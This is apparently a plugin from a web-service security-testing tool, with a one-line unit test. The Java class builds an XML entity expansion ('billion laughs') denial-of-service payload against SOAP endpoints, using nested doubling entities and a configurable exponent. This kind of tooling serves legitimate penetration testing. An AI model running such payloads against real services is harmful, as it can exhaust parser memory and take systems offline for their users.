XmlEntityExpansion extends AbstractDosPlugin { @Override public void createTamperedRequest() { String soapMessageFinal; String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); StringBuilder sb = new StringBuilder(); sb.append( "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" ); sb.append( "<!DOCTYPE " ); sb.append( "Envelope [" ); sb.append( "<!ENTITY x0 \"Fo\">" ); int value = optionExponent.getValue(); for ( int element = 1; element < value; element++ ) { sb.append( "<!ENTITY x" + element + " \"&x" + ( element - 1 ) + ";&x" + ( element - 1 ) + ";\">" ); } sb.append( "]" ); sb.append( ">" ); sb.append( this.getOptionTextAreaSoapMessage().getValue() ); soapMessage = sb.toString(); soapMessageFinal = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, "<s>&x" + ( value - 1 ) + ";</s>" ); Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } httpHeaderMap.put( "Content-Type", "application/xml; charset=UTF-8" ); this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); }  @Override void initializeDosPlugin(); AbstractOptionInteger getOptionNumberOfEntities(); @Override OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition(); void initData(); @Override void createTamperedRequest();  }
@Test public void testCreateTamperedRequest() { t.testCreateTamperedRequest( attackPlugin ); }